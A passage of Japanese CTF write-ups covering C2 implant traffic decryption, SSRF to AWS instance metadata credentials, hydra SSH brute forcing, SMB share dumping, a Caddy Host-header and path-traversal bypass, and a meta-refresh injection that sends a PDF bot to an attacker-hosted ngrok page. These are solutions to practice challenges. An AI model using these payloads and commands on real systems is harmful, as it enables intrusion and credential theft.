LD262dAFKFJkv7QbnFbptnWnwEwqwtKlNp8B0BBRrJN4HnoSwhoxbZm39XyNfDZZkNo3iUn2WA4HEiZ+H3WMDSjYdYpzXc3zf2i6bXrutL1+2asQ1H6ORAE6qe4ADgcty6ldN3WRwiAUTpACAspGBfvdptdmBTpvJOyFVXsYhYGEG0FVRH04eLy8uI9hj13ZJ9V9N04DSdmJgUAL0YPD6ObqaJUmOyuur8yRqPMYKdqevtpdLO4n1Ih6rOyYxxujOHMewJOS1enp4sBpWFQi6tHPhDQRigonSoF/w+DILp65WulKxYEQShEkggBT4I5pddANerA+6C39YvfWqS/ufj2uVmDvrw09Wi7HrFdBccRlfks/2ryD2QW7ys4IvRGpbxTpfGnn5/E1neyjb/Y/6zfsC5Em3hFDfYAAAAASUVORK5CYII="49395491SGMI

primerの続きでは

Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
Program.ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);

適当にcsharpコードを書いてパースすると以下のような感じ。

randomURI : dVfhJmc2ciKvPOC
stringURLS : "Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"
killDate : 2025-01-01
sleep : 3s
jitter : 0.2
key2 : nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
stringIMGS : "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"

これ以降の通信の暗号化については、key2を変わりに使うくらいで他にめぼしい変化はない。
POSTを使ってクライアントからC2にデータを送っている。
Execメソッドを見ると、どのようにデータを送信しているかがわかる。
応答データはs = Program.Encryption(key, cmd, true, null);のようにEncryptionメソッドに渡している。
ここでは、これまで同様にAESでnUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=を鍵としてIVは先頭にくっつけて暗号化しているが、
異なる点があり、1点暗号化前にgzipで圧縮している。
こうしてできたpayloadをpngファイルの末尾にくっつけて送っている。Program.ImgGen.GetImgData(cmdoutput);にある処理。
送っているデータの先頭1500bytesはpngファイルとゴミファイルであるため、実際のデータは1500bytes分skipして解釈する必要がある。
なので、POSTで何を送っているかを確認したい場合をおさらいすると以下のようになる

  1. 先頭1500bytes分はゴミデータなので消す
  2. さらに先頭16bytes分はAESで使うIVなので取り出す
  3. 鍵をnUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=、IVは手順2のものを使ってAESのCBCで復号化
  4. データをgunzipする(ここが一番の注意点だが、CyberChefのgunzipではエラーになるのでC#でgunzipすること)

盗まれたデータを解析するのが今回の問題なので、怪しい所を探っていくと最後にPOSTされたパケットNo.7242のデータを復号化すると
画面のスクリーンショットが得られる。
ここにフラグが書いてある。

vikeCTF{2023} Writeups

[Cloud] Docker Dad Jokes: Find the Punchline

dockerのダンプファイルが与えられる。
28d….jsonを見てみると

        {
            "created": "2023-03-17T09:32:45.482620015Z",
            "created_by": "RUN /bin/sh -c rm flag.txt # buildkit",
            "comment": "buildkit.dockerfile.v0"
        },

のようにflag.txtが消されている。
適当にflagをgrepして探すと見つかる。

$ cd 901606eea2faa73c03fccad4ad1c61a5aafe872d28a27420111eacfc9ae2d5c1

$ cat * | grep -a flag
RUN echo "vikeCTF{■■■■■■■■■■■■}" > flag.txt
RUN rm flag.txt

[Cloud] Eternal Cloud Conquest

色々試してみるとSSRF脆弱性を発見する。

  1. 適当にユーザーを作る
  2. /profileのページのProfile Image URLにサーバーに踏ませたいURLを配置する
  3. 適当なページでコメントを残すと、指定したURLが画像でなくても、Profile Imageがbase64形式で保存され返されてくる

これでAWSインスタンスメタデータを巡回すると最終的にフラグが見つかる。

http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
elastic-inference/
events/
hostname
iam/
instance-action
instance-id
instance-life-cycle
instance-type
kernel-id
local-hostname
local-ipv4
mac
network/
placement/
product-codes
public-hostname
public-ipv4
public-keys/
ramdisk-id
reservation-id
security-groups
services/
spot/
tags/

http://169.254.169.254/latest/meta-data/iam/security-credentials/
vikeCTF-metadata-role

http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role
{
    "Code": "Success",
    "LastUpdated": "2023-03-17T16:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "12345678901",
    "SecretAccessKey": "v/12345678901",
    "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}",
    "Expiration": "2023-03-19T16:00:00Z"
}

[Cloud] Super Silly Security

https://super-silly-security.vikesec.ca/flag.png
にフラグがあるっぽいが403エラー
エラーメッセージとしてS3 ERROR: Not in Authenticated AWS User groupとある。

digコマンドでドメインを見てみると

super-silly-security.vikesec.ca. 0 IN   CNAME   super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.

super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.comがもともとの名前のようだ。
とりあえず、S3に匿名アクセスできないか試してみる。
適当なAWSユーザーでアクセスキーを発行し、aws configureで設定する。
リージョンはus-west-2を使う。
これでこのS3にアクセスしてみると匿名アクセスできたので、flag.pngを持ってくるとフラグが書いてある。

$ aws configure
AWS Access Key ID [None]: <reducted>
AWS Secret Access Key [None]: <reducted>
Default region name [None]: us-west-2
Default output format [None]:

$ aws s3 ls s3://super-silly-security.vikesec.ca
2023-03-18 08:14:04      24728 flag.png
2023-03-18 08:14:04       1821 index.html
2023-03-18 08:14:04       6489 style.css

$ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png
download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png

[misc] Smoke on the Horizon

プロトコル階層を見てみると、いろいろ記録されている。

  • TLS: 何かが暗号化されている
  • HTTP: ELF形式の何かがやり取りされている。decriptというファイル
  • SMTP: 1通メールがありパスワードp!ll@ge_🔥_p1und3rというのが共有されている
  • FTP: flag.encというファイルがダウンロードされている

decryptを動かすと復号化ソフトのようで、既に手元にある情報を試すとフラグが復号化されてくる。
TLSの情報は使用しない。

$ ./decrypt 
Usage: ./decrypt input_file password

$ ./decrypt flag.enc 'p!ll@ge_🔥_p1und3r'
Decryption successful: flag.enc -> flag.enc.dec

WolvCTF 2023 Writeups

[beginner] Charlotte's Web

click me for the flagというボタンだけあるサイトが与えられる。
押しても何ももらえない。
ソースコードを見ると<!-- /src -->というコメントがあり、開くとソースコードがもらえる。

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

PUT /super-secret-route-nobody-will-guessを開くとフラグがもらえる。
PUTリクエストのやり方は何でもいいが、自分はBurp Suiteで一旦/super-secret-route-nobody-will-guessを開き、
GETでリクエストしてから、その履歴をRepeaterに送ってGETをPUTに書き換えて再送することで、PUTで開いた。
(上記、PUTリクエストのやり方に困っている人向けの粒度の説明ではない気もするが…)

[Forensics] Dino Trading

パケットを確認するとFTPでepicflight.jpgというファイルが送られているだけ。
他にめぼしい所もないので、とりあえず空パスワードでsteghideしてみると抽出できる。

$ steghide extract -sf epicfight.jpg 
Enter passphrase:
wrote extracted data to "hidden.txt".

$ cat hidden.txt 
d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9

base64エンコードされているのでデコードすればフラグになる。

[Forensics] Employee 427: Compromised

Windowsのディスクデータが与えられる。
順番にめぼしい所を探すか…と思ったが、初手の場所でフラグが手に入った。

[root]\Users\emplo\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
rm profits.jpg; #pastebin-dot-com-slash-75Muuu8m

PowerShellのコンソールログを見ると、見慣れぬコメントがあり、指定のpastebinに移動するとフラグがあった。

[Forensics] Employee 427: Locate

Autopsyを使ってみる。
反則級にいろいろ出てくる。

lnkファイルが残っていたのだろう。最近開いたドキュメントとして以下が抽出されてくる。

  • C:\Users\emplo\Desktop\IMPORTANT DO NOT DELETE\profits.jpg
  • C:\Users\emplo\Desktop\IMPORTANT DO NOT DELETE\profits_redacted.jpg

ファイルビューのjpegを覗くと、profits_redacted.jpgが発見されていた。
中身を見てみるとredactedされており、パスにもIMPORTANT DO NOT DELETEとあるので、
我々が探すべきファイルはprofits.jpgなのだろう。

ウェブ履歴を見てみるとEdgeの履歴に面白いログがある。

History  org.sleuthkit.datamodel.Score@1e875234  NO_COMMENT  1   https://github.com/awesomecorp3234243523/private-documents  2023-03-16 15:22:47 JST https://github.com/awesomecorp3234243523/private-documents  GitHub - awesomecorp3234243523/private-documents    Microsoft Edge  github.com  LogicalFileSet1 

https://github.com/awesomecorp3234243523/private-documentsにアクセスしてみると
profits_old.jpgというファイルがあり、フラグが書かれている。
出題者のミスか?とも思ったが、数日前に取得されているアカウントっぽいし、
WinRARをわざわざ使っている所からも攻撃者のExfiltrationということなのだろう。

UTCTF 2023 Writeups

[Forensics] "Easy" Volatility

ありがたいことに、シンボルファイルが与えられているので
cp debian11_5.10.0-21.json ~/.opt/volatility3/volatility3/symbols/
のように配置して、volatility3を回していく。

This challenge's flag looks like a UUID.

ということで各種解析の結果を見ていくと、linux.bashでの出力が気になる。

PID  Process CommandTime Command

467 bash    2023-03-05 18:21:23.000000  # 08ffea76-b232-4768-a815-3cc1c467e813

コメントで実行されていて怪しく、このUUIDを提出すると正答。

[Forensics] What Time is It?

Date: Thu, 2 Mar 2023 03:12:42 +0000

とあるので、受信時間ではあるのだが、念のためこれを送ってみるが、不正解。
それはそうか。

他に時間に直結しそうなものはなく、他のヘッダー情報を色々探ってみる。

色々検索して探してみると以下ページが見つかる。
Dates in Hiding Part 2 — Gmail MIME Boundary Timestamps - Metaspike
これは使えそう。

Content-Type: multipart/alternative; boundary="00000000000093882205f60cdcdb"

これを使って言われた通りに変換する。

000000000000 938822 05f60cdc dbのように分割して、3番目+2番目で05f60cdc938822
hex表現なのでdecimalに変換する。

$ python3 -c 'print(0x05f60cdc938822)'
1677909984249890

先頭の13文字がUnixtimeになっているので、時刻に変換する。
ミリ秒になっているので下3桁をさらに削って変換すると2023-03-04 06:06:24
後はこれを要求に合わせてフラグに変換すると正答。

[Network] A Network Problem - Part 1

nc betta.utctf.live 8080のようにnetcatでつなげるとフラグが得られた。

[Network] A Network Problem - Part 2

smbが用意されているらしいので、とりあえずsmbclientしてみる。
smbclient -N -L //betta.utctf.live

$ smbclient -N -L //betta.utctf.live --port=8445

        Sharename       Type      Comment
        ---------       ----      -------
        WorkShares      Disk      Sharing of work files
        BackUps         Disk      File Backups.
        IPC$            IPC       IPC Service (Samba Server)

とあり、WorkSharesがアクセス可能だったので抜き出してみる。

$ smbclient -N //betta.utctf.live/WorkShares --port=8445
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \shares\Advertising\Advertising Plan of size 33 as shares/Advertising/Advertising Plan (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \shares\Advertising\Logos\JACT.png of size 8923 as shares/Advertising/Logos/JACT.png (11.3 KiloBytes/sec) (average 6.1 KiloBytes/sec)
getting file \shares\OfficeFun\JaysCats\Meowfoy.jpg of size 215821 as shares/OfficeFun/JaysCats/Meowfoy.jpg (171.6 KiloBytes/sec) (average 82.1 KiloBytes/sec)
getting file \shares\IT\Itstuff\notetoIT of size 380 as shares/IT/Itstuff/notetoIT (0.6 KiloBytes/sec) (average 65.9 KiloBytes/sec)

\shares\IT\Itstuff\notetoITにフラグが書いてあった。

[Network] A Network Problem - Part 3

sshが開いていて、ブルートフォースが許可されているのでパスワードブルートフォースしてほしいのだろう。
(個人的に注意していることだが、どこからどういちゃもんつけられるか分からないのでブルートフォース系をCTFで解く際はVPNつないでおくといい。)

ユーザー名とパスワードに対してある程度あたりをつけたいが、We've gathered a lot of information at this point, let get access through ssh.とある。
情報を整理して、ユーザー名とパスワードの候補を収集しよう。
特に気になるものとして、前問のフラグが書いてあったnotetoITがある。

I don't understand the fasination with the magic phrase "abracadabra", but too many people are using them as passwords. Crystal Ball, Wade Coldwater, Jay Walker, and Holly Wood all basically have the same password. Can you please reach out to them and get them to change thier passwords or at least get them append a special character?

参考にして、ユーザー名とパスワードの辞書を作成して総当たりするとヒットしてsshで接続するとフラグがもらえる。

$ cat user.txt 
crystal
ball
wade
coldwater
jay
walker
holly
wood
cball
wcoldwater
jwalker
hwood
$ cat pass.txt 
abracadabra
abracadabra!
abracadabra"
abracadabra#
abracadabra$
abracadabra%
abracadabra&
abracadabra'
abracadabra(
abracadabra)
abracadabra*
abracadabra+
abracadabra,
abracadabra-
abracadabra.
abracadabra/
abracadabra0
abracadabra1
abracadabra2
abracadabra3
abracadabra4
abracadabra5
abracadabra6
abracadabra7
abracadabra8
abracadabra9
abracadabra:
abracadabra;
abracadabra<
abracadabra=
abracadabra>
abracadabra?
$ hydra -L user.txt -P pass.txt ssh://betta.utctf.live:8822 -c 1 -t 1
[8822][ssh] host: betta.utctf.live   login: wcoldwater   password: abracadabra$
$ ssh -p 8822 wcoldwater@betta.utctf.live
wcoldwater@betta.utctf.live's password: 
utctf{cust0m3d-lsts-rule!} well done!

KalmarCTF 2023 Writeups

[web] Ez ⛳

フラグは消されているので正攻法では取得できない。
だが、docker-compose.yamlを見るとcp -r *.caddy.chal-kalmarc.tf backups/という意味深な部分がある。
デプロイして環境に入ってみると、以下のような感じでflag.txtが残っている。

/srv/backups/php.caddy.chal-kalmarc.tf # ls -la
total 0
drwxrwxrwx    1 1000     1000          4096 Mar  4 00:59 .
drwxrwxrwx    1 1000     1000          4096 Mar  4 00:59 ..
-rwxrwxrwx    1 1000     1000            14 Mar  4 00:59 flag.txt
-rwxrwxrwx    1 1000     1000            76 Mar  4 00:59 index.php

よって、/srv/backups/php.caddy.chal-kalmarc.tf/flag.txtを取得するのが目下の目標となる。

Caddyfileを見てみる。関係ない所は省いてある。

*.caddy.chal-kalmarc.tf {
    # block accidental exposure of flags:
    respond /flag.txt 403

    file_server {
        root /srv/{host}/
    }
}

これを見ると、ファイルサーバーのルートにhostがそのまま置かれている。
何かいい感じにできないかなーとごちゃごちゃやっていると、

GET /index.php HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

とすると、index.phpを取得することができた。
root部分が /srv/backups/php.caddy.chal-kalmarc.tf/となるためである。
あとはflag.txtとするだけだが、respond部分で403応答になっているので工夫が必要。
これも色々アイデアを考えて、ごちゃごちゃやっていると、回避できた。
以下のようなリクエストを送るとフラグ獲得。

GET /a/../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

[web] Invoiced

app.get('/orders', (req, res) => {
  if (req.socket.remoteAddress != "::ffff:127.0.0.1") {
    return res.send("Nice try")
  }
  if (req.cookies['bot']) {
    return res.send("Nice try")
  }
  res.setHeader('X-Frame-Options', 'none');
  res.send(process.env.FLAG || 'kalmar{test_flag}')
})

以上の部分をうまく通過してやればフラグが出てくる。

  • if (req.socket.remoteAddress != "::ffff:127.0.0.1") { -> PDF生成ボットからアクセスすれば解決
  • if (req.cookies['bot']) { -> ここは頑張り所。工夫が必要
  • res.setHeader('X-Frame-Options', 'none'); -> フレームの中に入れて表示は可能

といった感じ。

PDF生成ボットを見てみるとPOST /checkoutからアクセスするとPDFを生成してくれる。
PDFの内容はGET /renderInvoiceの応答をpuppeteerで描画してPDF出力するような感じ。
特筆すべき点としては

  • puppeteerによるアクセス時にbotという名前のcookieが付く
    • sameSiteはStrictなので、外部サイトからアクセスすればCookieは送られない
  • CSPが付く default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;

という感じ。
総合すると、metaタグで自分のページに誘導して、そこからGET /ordersを取得すれば良さそう。

さて、まずは以下のようなリクエストを送信する。

POST /checkout HTTP/1.1
Host: invoiced.chal-kalmarc.tf
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
Connection: close

name=%3cmeta%20http-equiv%3d%22refresh%22%20content%3d'0%3b%20url%3dhttps%3a%2f%2f[yours].jp.ngrok.io'%3e&address=&phone=&email=&discount=FREEZTUFSSZ1412

discount部分はソースコードを読んでいい感じの値を入れる必要があるのだが、
あまり解法に関係しないアドホックな部分なので解説は省略する。
(それほど難しくはない)

name部分に<meta http-equiv="refresh" content='0; url=https://1b18-[yours].jp.ngrok.io'>のようにmetaタグを仕込んでいる。
これならCSPの制限は受けない。
このmetaタグによってngrokでホスティングした自分のwebサイトにリダイレクトさせている。
リダイレクト先のhtmlはこんな感じ。
こういうのを用意してpython3 -m http.server 8899みたいに公開してngrok http 8899でインターネット公開している。

<iframe src="http://localhost:5000/orders" height=1000 width=1000>

GET /ordersをして画面描画しているだけ。
/ordersでの制約を再掲して、問題ないことを解説すると、

  • if (req.socket.remoteAddress != "::ffff:127.0.0.1") { -> PDF生成ボットがアクセスしているのでクリア
  • if (req.cookies['bot']) { -> cookieのsameSiteがStrictなので、自身のサイトからリクエストを飛ばす形(iframeでホストしてやる)にするとクリア
  • res.setHeader('X-Frame-Options', 'none'); -> フレームに入れられることを活用

のような感じとなる。
これで応答のPDFファイルの中身を見るとフラグが含まれている。

[forensics] cards

プロトコル階層を見てみるとFTPが記録されている。
別途Dataと表記されている所を見ると1byte分asciiが送られているログが残っている。
取り出してきて時系列順に見てみると

m_tfwr_flf_3eccaykdw_hhuhrld{erae
